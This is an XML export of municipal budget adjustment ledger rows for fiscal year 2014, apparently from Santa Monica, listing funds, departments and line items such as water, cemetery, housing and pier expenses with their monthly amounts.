<row _id="7449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>650000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>650000.0</total></row>
<row _id="7450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402800.0</object><object_description>NAME PLATES / BENCHES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-16913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16913.0</total></row>
<row _id="7451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402820.0</object><object_description>FLOWER SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-16728.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16728.0</total></row>
<row _id="7452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>614.0</total></row>
<row _id="7453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1659.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1659.0</total></row>
<row _id="7454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3894.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3894.0</total></row>
<row _id="7455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="7456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38572.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38572.0</total></row>
<row _id="7457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9368.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9368.0</total></row>
<row _id="7458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="7459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="7460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>103825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103825.0</total></row>
<row _id="7461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-23000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23000.0</total></row>
<row _id="7462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2623.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2623.0</total></row>
<row _id="7463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="7464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>316.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>316.0</total></row>
<row _id="7465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>955.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>955.0</total></row>
<row _id="7466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="7467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533221.0</object><object_description>BLDG/STR MAINT-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93000.0</total></row>
<row _id="7469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="7471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544220.0</object><object_description>GRAFFITI PROGRAM MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133100.0</total></row>
<row _id="7472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1708.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1708.0</total></row>
<row _id="7473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4325.0</total></row>
<row _id="7474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>391806.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>391806.0</total></row>
<row _id="7475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>210196.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210196.0</total></row>
<row _id="7476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14133.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14133.0</total></row>
<row _id="7477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>206668.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>206668.0</total></row>
<row _id="7478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>805.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>805.0</total></row>
<row _id="7479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-185159.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-185159.0</total></row>
<row _id="7480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216043.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216043.0</total></row>
<row _id="7481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-37705.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37705.0</total></row>
<row _id="7482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7328.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7328.0</total></row>
<row _id="7483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3467.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3467.0</total></row>
<row _id="7484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>43220.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43220.0</total></row>
<row _id="7485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5774.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5774.0</total></row>
<row _id="7486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-65000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-65000.0</total></row>
<row _id="7487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-9000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9000.0</total></row>
<row _id="7488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405680.0</object><object_description>EVENT ADMINISTRATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-15897.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15897.0</total></row>
<row _id="7489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562190.0</object><object_description> CLARE CLARITY FOR YOUTH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41651.0</total></row>
<row _id="7490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562431.0</object><object_description>SHP-NEW DIRECTIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44605.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44605.0</total></row>
<row _id="7491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562433.0</object><object_description>SHP-STEP UP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>87765.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87765.0</total></row>
<row _id="7492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405352.0</object><object_description>PRIVATE HAULER PER TON PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-121500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-121500.0</total></row>
<row _id="7493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="7494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1058.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1058.0</total></row>
<row _id="7495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615.0</total></row>
<row _id="7496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>220604.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>220604.0</total></row>
